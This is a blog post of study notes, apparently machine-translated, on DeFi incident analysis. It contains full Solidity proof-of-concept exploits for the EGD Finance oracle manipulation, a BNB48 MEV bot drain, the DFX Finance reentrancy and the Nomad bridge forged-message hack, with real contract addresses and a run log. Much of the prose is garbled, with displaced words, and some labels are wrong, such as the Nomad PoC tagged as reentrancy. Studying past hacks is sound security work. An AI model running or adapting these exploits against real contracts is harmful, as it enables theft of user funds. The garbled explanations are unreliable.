[Blockchain Security-On-Chain Analysis] On-chain security analysis and related POC writing
PS: This article refers to related articles on DeFiHackLabs on Github, the link is here . Very well written, benefited a lot from it, thank you very much. The following records the notes during my study.
1. Warm Up
Take Etherscan
the online real-time transaction 0x653a4d3d34f51d3e094da1dce87a084b6e4865abd882963eda04b5da42de7ed8
as an example.
This is a approve
contract, and the address on EtherScan is as follows:
https://etherscan.io/tx/0x653a4d3d34f51d3e094da1dce87a084b6e4865abd882963eda04b5da42de7ed8
You can OverView
see Value,Gas,Burnt
the information in , you can also Logs
see the sending of events in , State
and the information in the address ( Balance
) is also changing (miners and callers, etc.).
We phalcon
search in , and in Invocation Flow
, we can see the entire call process. You can see the concatenation of Sender
, Call
, Event
and other information.
Look again Uniswap
, using the same block transaction 0x1cd5ceda7e2b2d8c66f8c5657f27ef6f35f9e557c8d1532aa88665a37130da84
to view.
Etherscan points out Transaction Action:Swap 12,716.454883 USDT For 7,118.742245582778486733 UNDEAD On Uniswap V2
. And by Internal Txns
obtaining cross-contract calls between contracts.
But if you use phalcon
it to look at it, it is very good. On the one hand, you can Fund Flow
see ERC20
the flow of tokens in , and Balance Changes
you can see the changes in the tokens of each address in .
In Invocation Flow
it, we can not only see the call completely, but also enter the DebgLine to get the result and feedback, and JSON
partially see the result of the function call. At the same time, you can Step In/Out
view the process of function calls.
At the same time with an DeFi
example, txn
for 0x667cb82d993657f2779507a0262c9ed9098f5a387e8ec754b99f6e1d61d92d0b
. Users phalcon
can clearly see that the user has added USDT liquidity and minted CRV. But at this time DebugLine
, the function is invalid because there is no open source.
Also check out an Compound
example above to see how Etherscan
it should behave. It's also useful to better visualize what's going on inside.Vote
Governance
phalcon
DefiHackLab
Test it in and get familiar with the operation at the same time .
forge test --contracts ./src/test/Uniswapv2.sol -vvvv
It is found that specific information will be listed in great detail, including Gas
, delegateCall
and other information.
2. Price Oracle Manipulation POC
The oracle machine is essentially a human (or machine) realization of data on-chain, and feeds prices actively or passively. Contracts can also be calculated by calculating the ratio of token reserves.
Organize information:
- Transaction ID transaction hash
- Attacker Address(EOA) attack address (external)
- Attack Contract Address attack contract address
- Vulnerable Address vulnerability contract address
- Total Loss total loss
- Reference Links Related Reference Links
- Post-mortem Links post-assessment report link
- Vulnerable snippet related code snippets
- Audit History Audit History
The suggested template is as follows:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;
import "forge-std/Script.sol";
// @KeyInfo - Total Lost : ~999M US$
// Attacker : 0xcafebabe
// Attack Contract : 0xdeadbeef
// Vulnerable Contract : 0xdeadbeef
// Attack Tx : 0x123456789
// @Info
// Vulnerable Contract Code : https://etherscan.io/address/0xdeadbeef#code
// @Analysis
// Post-mortem : https://www.google.com/
// Twitter Guy : https://www.google.com/
// Hacking God : https://www.google.com/
contract ExploitScript is Script {
function setUp() public {}
function run() public {
vm.startBroadcast();
vm.stopBroadcast();
}
}
Taking EGD Finance
as an example, whose hashing is 0x50da0b1b6e34bce59769157df769eb45fa11efc7d0e292900d6b0a86ae66a2b3
, happens on BSC
-chain.
Analysis flow
- The attacker only calls a
harvest
- Two flash loans in a row, by using
calacuteEDGprice
the price feed problem,
So the POC contract is as follows:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../interface.sol";
// @KeyInfo - Total Lost : ~36K US$
// Event : EGD-Finance Hack
// Analysis via https://explorer.phalcon.xyz/tx/bsc/0x50da0b1b6e34bce59769157df769eb45fa11efc7d0e292900d6b0a86ae66a2b3
// Attacker : 0xee0221d76504aec40f63ad7e36855eebf5ea5edd
// Attack Contract : 0xc30808d9373093fbfcec9e026457c6a9dab706a7
// Vulnerable Contract : 0x34bd6dba456bc31c2b3393e499fa10bed32a9370 (EGD Staking Proxy Contract)
// Vulnerable Contract : 0x93c175439726797dcee24d08e4ac9164e88e7aee (EDG Staking Logic Contract)
// Attack Tx : https://bscscan.com/tx/0x50da0b1b6e34bce59769157df769eb45fa11efc7d0e292900d6b0a86ae66a2b3
// @Info
// FlashLoan Lending Pool USDT_WBNB : 0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE
// FlashLoan Lending Pool EGD_USDT : 0xa361433E409Adac1f87CDF133127585F8a93c67d
// Swap Pancake Router : 0x10ED43C718714eb63d5aA57B78B54704E256024E
// @Analysis
// DefiHackLab : https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/03_write_your_own_poc/
IPancakePair constant USDT_WBNB_LPPool = IPancakePair(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE);
IPancakePair constant EGD_USDT_LPPool = IPancakePair(0xa361433E409Adac1f87CDF133127585F8a93c67d);
IPancakeRouter constant pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
address constant EGD_Finance = 0x34Bd6Dba456Bc31c2b3393e499fa10bED32a9370;
address constant USDT_ADDRESS = 0x55d398326f99059fF775485246999027B3197955;
address constant EGD_ADDRESS = 0x202b233735bF743FA31abb8f71e641970161bF98;
contract EGDFinanceAttacker is Test { // EOA Simulation
function setUp() public {
vm.createSelectFork("bsc",20245522); // Go back to staking time
}
function testExploit() public {
Exploit exploit = new Exploit();
console.log("--- Set-up, stake 100 USDT to EGD Finance ---");
exploit.stake();
vm.warp(1659914146); // set timestamp for staking reward
console.log("--- Staking finished ------------------------");
console.log("--- Starting hacking ------------------------");
emit log_named_decimal_uint("[Start] Attacker USDT Balance", IERC20(USDT_ADDRESS).balanceOf(address(this)), 18);
emit log_named_decimal_uint("[INFO] EGD/USDT Price before price manipulation", IEGD_Finance(EGD_Finance).getEGDPrice(), 18);
emit log_named_decimal_uint("[INFO] Current earned reward (EGD token)", IEGD_Finance(EGD_Finance).calculateAll(address(exploit)), 18);
exploit.harvest();
console.log("--- Hacking finished -----------------------");
emit log_named_decimal_uint("[End] Attacker USDT Balance", IERC20(USDT_ADDRESS).balanceOf(address(this)), 18);
}
}
contract Exploit is Test { // Attack Contract
uint borrowUSDT;
uint borrowUSDT2;
function stake() public {
deal(address(USDT_ADDRESS),address(this),100 ether); // set balance of address of (ERC20) to amount
IEGD_Finance(EGD_Finance).bond(address(0x659b136c49Da3D9ac48682D02F7BD8806184e218));
IERC20(USDT_ADDRESS).approve(EGD_Finance,100 ether);
IEGD_Finance(EGD_Finance).stake(100 ether);
}
function harvest() public {
console.log("Flashloan[1] : borrow 2,000 USDT from USDT/WBNB LPPool reserve"); // Description
borrowUSDT = 2000 ether;
USDT_WBNB_LPPool.swap(borrowUSDT,0,address(this),"0000");
console.log("Flashloan[1] : FlashLoan Payable success");
IERC20(USDT_ADDRESS).transfer(msg.sender,IERC20(USDT_ADDRESS).balanceOf(address(this)));
}
function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
bool isBorrowUSDT = (keccak256(data) == keccak256("0000"));
if (isBorrowUSDT){
console.log("Receiving callback for FlashLoad[1]");
borrowUSDT2 = IERC20(USDT_ADDRESS).balanceOf(address(EGD_USDT_LPPool)) * 9_999_999_925 / 10_000_000_000; // 99.99999925% USDT of EGD_USDT_LPPool reserve To manipulate price
EGD_USDT_LPPool.swap(0,borrowUSDT2,address(this),"00");
console.log("FlashLoad[2] payable success");
console.log("Sweep USDT in pair");
address[] memory paths = new address[](2);
paths[0] = EGD_ADDRESS;
paths[1] = USDT_ADDRESS;
IERC20(EGD_ADDRESS).approve(address(pancakeRouter),type(uint256).max);
pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
IERC20(EGD_ADDRESS).balanceOf(address(this)),1,paths,address(this),block.timestamp *2
);
IERC20(USDT_ADDRESS).transfer(msg.sender,2010 ether);
}else{
console.log("Receiving callback for FlashLoad[2]");
emit log_named_decimal_uint("[INFO] EGD/USDT Price after price manipulation", IEGD_Finance(EGD_Finance).getEGDPrice(), 18);
emit log_named_decimal_uint("[INFO] Current earned reward (EGD token)", IEGD_Finance(EGD_Finance).calculateAll(address(this)), 18);
console.log("Claim all EGD Token reward from EGD Finance contract");
IEGD_Finance(EGD_Finance).claimAllReward();
emit log_named_decimal_uint("[End] Attacker EGD Balance", IERC20(EGD_ADDRESS).balanceOf(address(this)), 18);
uint256 swapfee = borrowUSDT2 * 3 / 1000; // Attacker pay 0.3% fee to Pancakeswap
IERC20(USDT_ADDRESS).transfer(address(EGD_USDT_LPPool), borrowUSDT2 + swapfee);
}
}
}
/* -------------------- Interface -------------------- */
interface IEGD_Finance { // Interface needed to interact
function bond(address invitor) external;
function stake(uint256 amount) external;
function calculateAll(address addr) external view returns (uint256);
function claimAllReward() external;
function getEGDPrice() external view returns (uint256);
}
3. MEV Bot POC
To sum up, there are MEV BOT
too many balances, and at the same time, there is no Pair
verification of the identity.
After decompilation, there is
function pancakeCall(address varg0, uint256 varg1, uint256 varg2, bytes varg3) public nonPayable {
require(msg.data.length - 4 >= 128);
require(varg0 == varg0);
require(varg3 <= 0xffffffffffffffff);
require(4 + varg3 + 31 < msg.data.length);
require(varg3.length <= 0xffffffffffffffff);
require(4 + varg3 + varg3.length + 32 <= msg.data.length);
v0 = new bytes[](varg3.length);
CALLDATACOPY(v0.data, varg3.data, varg3.length);
v0[varg3.length] = 0;
0x10a(v0, varg2, varg1);
}
Yes varg0 = sender
, that is, the sender, varg1=amount0
the one pair
in the middle token0
, and varg2=amount1
the one pair
in the middle token1
. (we're only using settings here token0
), since we'll be faking it pair
. later there will be0x10a(v0=varg3,varg2,varg1)
Look at the function again 0x10a
:
First according to amount0
and amount1
choose token0
or token1
(only used here token0
)
v5, v6 = address(v3).transfer(address(MEM[varg0.data]), varg1).gas(msg.gas);
Functions and functions that will be MEM[varg0.data]
accessed later on . Because there is no specific code, it is difficult to continue the analysis.swap
token1
I wrote an POC
example, but there are still many shortcomings. For example, the simulated EOA
account should not be accepted directly, but should Exploit
be transferred after the simulation, but it is harmless.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../interface.sol";
// @KeyInfo - Total Lost : ~140K US$
// Event : MEV BOT (BNB48)
// Analysis via https://explorer.phalcon.xyz/tx/bsc/0xd48758ef48d113b78a09f7b8c7cd663ad79e9965852e872fdfc92234c3e598d2
// Attacker : 0xee286554f8b315f0560a15b6f085ddad616d0601
// Attack Contract : 0x5cb11ce550a2e6c24ebfc8df86c5757b596e69c1
// Vulnerable Contract : 0x64dd59d6c7f09dc05b472ce5cb961b6e10106e1d (MEV BOT)
// Attack Tx : https://bscscan.com/tx/0xd48758ef48d113b78a09f7b8c7cd663ad79e9965852e872fdfc92234c3e598d2
// @Info
// Involve USDT, WBNB, BUSD, USDC for MEV_BOT
// @Analysis
// DefiHackLab : https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/04_write_your_own_poc/
address constant USDT_ADDRESS = 0x55d398326f99059fF775485246999027B3197955;
address constant WBNB_ADDRESS = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
address constant BUSD_ADDRESS = 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56;
address constant USDC_ADDRESS = 0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d;
address constant TARGET_MEV = 0x64dD59D6C7f09dc05B472ce5CB961b6E10106E1d;
contract MEVBOTAttacker is Test { // EOA Simulation
function setUp() public {
vm.createSelectFork("bsc",21297409); // Go back to staking time
}
function testExploit() public {
Exploit exploit = new Exploit();
emit log_named_decimal_uint("[Start] Attacker USDT Balance", IERC20(USDT_ADDRESS).balanceOf(address(this)), 18);
emit log_named_decimal_uint("[Start] Attacker WBNB Balance", IERC20(WBNB_ADDRESS).balanceOf(address(this)), 18);
emit log_named_decimal_uint("[Start] Attacker BUSD Balance", IERC20(BUSD_ADDRESS).balanceOf(address(this)), 18);
emit log_named_decimal_uint("[Start] Attacker USDC Balance", IERC20(USDC_ADDRESS).balanceOf(address(this)), 18);
console.log("starting exploiting ...");
exploit.attack();
console.log("Ending exploiting ...");
emit log_named_decimal_uint("[End] Attacker USDT Balance", IERC20(USDT_ADDRESS).balanceOf(address(this)), 18);
emit log_named_decimal_uint("[End] Attacker WBNB Balance", IERC20(WBNB_ADDRESS).balanceOf(address(this)), 18);
emit log_named_decimal_uint("[End] Attacker BUSD Balance", IERC20(BUSD_ADDRESS).balanceOf(address(this)), 18);
emit log_named_decimal_uint("[End] Attacker USDC Balance", IERC20(USDC_ADDRESS).balanceOf(address(this)), 18);
}
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) public {}
}
contract Exploit is Test { // Attack Contract
address private owner;
address public token0;
// address public token1;
constructor() {
owner = msg.sender;
console.log("Exploit Created by %s", owner);
}
function attack() public {
token0 = USDT_ADDRESS;
subAttack();
token0 = WBNB_ADDRESS;
subAttack();
token0 = BUSD_ADDRESS;
subAttack();
token0 = USDC_ADDRESS;
subAttack();
}
function subAttack() private {
IBOT(TARGET_MEV).pancakeCall(
address(this),
IERC20(token0).balanceOf(TARGET_MEV),
0,
abi.encodePacked(
bytes12(0), bytes20(address(owner)), // slot
bytes32(0),
bytes32(0))
);
}
function token1() public returns(address){
return token0;
}
}
// interface of MEV
interface IBOT {
function pancakeCall(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
4. RugPull Analysisc
The main analysis is the behavior CirculateBUSD
of the project RugPull
. Tx is 0x3475278b4264d4263309020060a1af28d7be02963feaf1a1e97e9830c68834b3
. But today phalcon
it went down first, unexpectedly.
Observing the call stack, it is startTrading
called again in it 未开源合约
. Reverse decode
analysis found that it is a back door left by if
distinguishing between normal transactions and transactions !Rugpull
5. Reentrancy POC
The chosen attack is a reentrancy attack on ETH
the chain DFX Finance
, and the loss reached $4 million. tx Hash = 0x6bfd9e286e37061ed279e4f139fbc03c8bd707a2cdd15f7260549052cbba79b7
. In the etherscan
trace ERC20
log, the following conclusions can be drawn:
1. 攻击合约从其他地址收到了大量通证
2. DFX Finance 似乎收取了手续费
3. 似乎进行了抵押、解压(有质押通证的铸造和销毁)
Let's analyze it in detail, enterphalcon
View the call stack:
- attack contract
- dfx-xidr (victim contract).viewDeposit View the curve mortgage required to deposit 200,000 tokens
- Flash Loan (
0x27e843260c71443b4cc8cb6bf226c3f77b9695af
0.6% handling fee paid to multi-signature in the middle) - Deposit is used in the flash loan callback function
deposit
, which is equivalent to repayment for the contract - After the flash loan ends, carry out
withdraw
Write an POC
example!
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../interface.sol";
// @KeyInfo - Total Lost : ~ 4M US$
// Event : DFX-Finance Hack
// Analysis via https://explorer.phalcon.xyz/tx/eth/0x6bfd9e286e37061ed279e4f139fbc03c8bd707a2cdd15f7260549052cbba79b7
// Attacker : 0x14c19962e4a899f29b3dd9ff52ebfb5e4cb9a067
// Attack Contract : 0x6cFa86a352339E766FF1cA119c8C40824f41F22D
// Vulnerable Contract : 0x46161158b1947D9149E066d6d31AF1283b2d377C (Curve Contract)
// Attack Tx : https://etherscan.io/tx/0x6bfd9e286e37061ed279e4f139fbc03c8bd707a2cdd15f7260549052cbba79b7
// @Info
// Reentrance Attack
// @Analysis
// DefiHackLab : https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/06_write_your_own_poc
address constant TARGET_CURVE = 0x46161158b1947D9149E066d6d31AF1283b2d377C;
address constant XIDR_ADDRESS = 0xebF2096E01455108bAdCbAF86cE30b6e5A72aa52;
address constant USDC_ADDRESS = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address constant dfx_xidr_usdc_v2 = 0x46161158b1947D9149E066d6d31AF1283b2d377C;
contract DFXFinanceHack is Test { // EOA Simulation
function setUp() public {
vm.createSelectFork("mainnet",15941700); // Go back before hacking time
console.log("start with block %d",15941700);
}
function testExploit() public {
console.log("start hacking...");
emit log_named_decimal_uint("[Start] Attacker XIDR Balance", IERC20(XIDR_ADDRESS).balanceOf(address(this)), 6);
emit log_named_decimal_uint("[Start] Attacker USDC Balance", IERC20(USDC_ADDRESS).balanceOf(address(this)), 6);
Exploit exploit = new Exploit();
exploit.attack();
console.log("attacking finished");
emit log_named_decimal_uint("[End] Attacker XIDR Balance", IERC20(XIDR_ADDRESS).balanceOf(address(this)), 6);
emit log_named_decimal_uint("[End] Attacker USDC Balance", IERC20(USDC_ADDRESS).balanceOf(address(this)), 6);
}
}
contract Exploit is Test {
IERC20 xidr = IERC20(XIDR_ADDRESS);
IERC20 usdc = IERC20(USDC_ADDRESS);
IERC20 dfx = IERC20(dfx_xidr_usdc_v2);
ICurve curve = ICurve(TARGET_CURVE);
address owner;
constructor() {
console.log("Exploit Created...");
owner = msg.sender;
initToken();
}
function initToken() public{
xidr.approve(address(curve),type(uint256).max);
usdc.approve(address(curve),type(uint256).max);
dfx.approve(address(curve),type(uint256).max);
}
function attack() public {
uint[] memory toDeposits = new uint[](2);
(, toDeposits) = curve.viewDeposit(200000 ether);
deal(address(xidr), address(this), toDeposits[0] * 8 / 1000);
deal(address(usdc), address(this), toDeposits[1] * 8 / 1000);
emit log_named_decimal_uint("[Init] To deposit 200000 us need xidr ", toDeposits[0], 6);
emit log_named_decimal_uint("[Init] To deposit 200000 us need usdc ", toDeposits[1], 6);
emit log_named_decimal_uint("[Init] Exploit USDC Balance", usdc.balanceOf(address(this)), 6);
emit log_named_decimal_uint("[Init] Exploit XIDR Balance", xidr.balanceOf(address(this)), 6);
emit log_named_decimal_uint("[Init] Exploit USDC Balance", usdc.balanceOf(address(this)), 6);
curve.flash(address(this), toDeposits[0] * 994 / 1000, toDeposits[1] * 994 / 1000, "1");
emit log_named_decimal_uint("[Flashed] Exploit Dfx Balance", dfx.balanceOf(address(this)), 18);
curve.withdraw(dfx.balanceOf(address(this)),type(uint256).max);
emit log_named_decimal_uint("[Ended] Exploit XIDR Balance", xidr.balanceOf(address(this)), 6);
emit log_named_decimal_uint("[End] Exploit USDC Balance", usdc.balanceOf(address(this)), 6);
emit log_named_decimal_uint("[End] Exploit Dfx Balance", dfx.balanceOf(address(this)), 18);
xidr.transfer(owner,xidr.balanceOf(address(this)));
usdc.transfer(owner,usdc.balanceOf(address(this)));
}
function flashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external{
emit log_named_decimal_uint("[Flashed] Exploit XIDR Balance", xidr.balanceOf(address(this)), 6);
emit log_named_decimal_uint("[Flashed] Exploit USDC Balance", usdc.balanceOf(address(this)), 6);
curve.deposit(200000 ether, type(uint256).max);
}
}
/* -------------------- Interface -------------------- */
interface ICurve {
function viewDeposit(uint256) external view returns (uint256, uint256[] memory);
function flash(address,uint256,uint256,bytes calldata) external;
function deposit(uint256,uint256) external;
function withdraw(uint256,uint256) external;
}
The attack log is as follows:
Logs:
start with block 15941700
start hacking...
[Start] Attacker XIDR Balance: 0.000000
[Start] Attacker USDC Balance: 0.000000
Exploit Created...
[Init] To deposit 200000 us need xidr : 2325581395.325581
[Init] To deposit 200000 us need usdc : 100000.000000
[Init] Exploit USDC Balance: 800.000000
[Init] Exploit XIDR Balance: 18604651.162604
[Init] Exploit USDC Balance: 800.000000
[Flashed] Exploit XIDR Balance: 2330232558.116231
[Flashed] Exploit USDC Balance: 100200.000000
[Flashed] Exploit Dfx Balance: 387023.837944937241748062
[Ended] Exploit XIDR Balance: 2287743564.832102
[End] Exploit USDC Balance: 100066.263271
[End] Exploit Dfx Balance: 0.000000000000000000
attacking finished
[End] Attacker XIDR Balance: 2287743564.832102
[End] Attacker USDC Balance: 100066.263271
It can be seen that the token needs to be transferred manually before the attack, otherwise it will fail because the taxes cannot be paid in advance!
6. Nomad Bridge Hack POC
Cross-chain now generally adopts the following principles:
- message exchange (hash)
- lock-cast
- Based on trust (CEX, Wrapped)
- side chain
Nomad project cross-chain principle:
在Nomad项目中,利用叫做Replica的合约验证Merkle树结构中的消息, 这个合约在各个链上都有部署。项目中的其他合约都依靠这个合约验证输入的消息。一旦消息被验证,它就会被存储在Merkle树中,并生成一个新的承诺树根,并在随后确认、处理。
The relevant code of the cross-chain verification smart contract Replica
is as follows:
function process(bytes memory _message) public returns (bool _success) {
// ensure message was meant for this domain 这里应该使用了Lib
bytes29 _m = _message.ref(0);
require(_m.destination() == localDomain, "!destination");
// ensure message has been proven
bytes32 _messageHash = _m.keccak();
require(acceptableRoot(messages[_messageHash]), "!proven"); // 要求该根已被证明
// check re-entrancy guard
require(entered == 1, "!reentrant");
entered = 0; // 手动防止重入
// update message status as processed
messages[_messageHash] = LEGACY_STATUS_PROCESSED;
// call handle function
IMessageRecipient(_m.recipientAddress()).handle(
_m.origin(),
_m.nonce(),
_m.sender(),
_m.body().clone()
);
// emit process results
emit Process(_messageHash, true, "");
// reset re-entrancy guard
entered = 1;
// return true
return true;
}
It seems that there is no problem, but Nomad
the contract is upgraded again:
function initialize(
uint32 _remoteDomain,
address _updater,
bytes32 _committedRoot,
uint256 _optimisticSeconds
) public initializer {
__NomadBase_initialize(_updater);
// set storage variables
entered = 1;
remoteDomain = _remoteDomain;
committedRoot = _committedRoot;
// pre-approve the committed root.
confirmAt[_committedRoot] = 1;
_setOptimisticTimeout(_optimisticSeconds);
}
In the initialization tx (0x99662dacfb4b963479b159fc43c2b4d048562104fe154a4d0c2519ada72e50bf), the passed committedRoot
in is 0x0000000000000000000000000000000000000000000000000000000000000000
, so when we access the nonexistent messages[_messageHash]
, acceptableRoot
the check of the zero value is true, so it can pass.
Based on the above principles, an attack POC can be written:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../interface.sol";
// @KeyInfo - Total Lost : ~ 190M US$
// Event : Nomad Bridge Hack
// Analysis via https://explorer.phalcon.xyz/tx/eth/0xa5fe9d044e4f3e5aa5bc4c0709333cd2190cba0f4e7f16bcf73f49f83e4a5460
// Attacker : 0xa8c83b1b30291a3a1a118058b5445cc83041cd9d
// Vulnerable Contract : 0x5d94309e5a0090b165fa4181519701637b6daeba (Proxy Contract)
// Vulnerable Contract : 0xb92336759618f55bd0f8313bd843604592e27bd8 (Replica Contract)
// Attack Tx : https://etherscan.io/tx/0xa5fe9d044e4f3e5aa5bc4c0709333cd2190cba0f4e7f16bcf73f49f83e4a5460
// @Info
// Reentrance Attack
// @Analysis
// DefiHackLab : https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/07_Analysis_nomad_bridge/
address constant TARGET_NOMAD = 0x5D94309E5a0090b165FA4181519701637B6DAEBA;
address constant USDC_ADDRESS = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address constant BRIDGE_ROUTER = 0xD3dfD3eDe74E0DCEBC1AA685e151332857efCe2d;
address constant ERC20_BRIDGE = 0x88A69B4E698A4B090DF6CF5Bd7B2D47325Ad30A3;
uint32 constant ETHEREUM = 0x657468; // "eth"
uint32 constant MOONBEAM = 0x6265616d; // "beam"
contract DFXFinanceHack is Test { // EOA Simulation
function setUp() public {
vm.createSelectFork("mainnet",15259100); // Go back before hacking time
console.log("start with block %d",15259100);
}
function testExploit() public {
console.log("start hacking...");
emit log_named_decimal_uint("[Start] Attacker USDC Balance", IERC20(USDC_ADDRESS).balanceOf(address(this)), 6);
uint256 hackAmount = IERC20(USDC_ADDRESS).balanceOf(ERC20_BRIDGE);
emit log_named_decimal_uint("[Hacking] Victim USDC Balance", hackAmount, 6);
IBridge(TARGET_NOMAD).process(generateMsg(address(this),USDC_ADDRESS,hackAmount));
console.log("finish hacking...");
emit log_named_decimal_uint("[End] Victim USDC Balance", IERC20(USDC_ADDRESS).balanceOf(TARGET_NOMAD), 6);
emit log_named_decimal_uint("[End] Attacker USDC Balance", IERC20(USDC_ADDRESS).balanceOf(address(this)), 6);
}
// 任意生成,只要hash不存在就行
function generateMsg(address to, address token, uint256 amount) internal returns(bytes memory){
return abi.encodePacked(
MOONBEAM, // Home chain domain
uint256(uint160(BRIDGE_ROUTER)), // Sender: bridge
uint32(0), // Dst nonce
ETHEREUM, // Dst chain domain
uint256(uint160(ERC20_BRIDGE)), // Recipient (Nomad ERC20 bridge)
ETHEREUM, // Token domain
uint256(uint160(token)), // token id (e.g. WBTC)
uint8(0x3), // Type - transfer
uint256(uint160(to)), // Recipient of the transfer
uint256(amount), // Amount
uint256(0) // Optional: Token details hash
);
}
}
/* -------------------- Interface -------------------- */
interface IBridge {
function process(bytes memory _message) external returns (bool _success);
}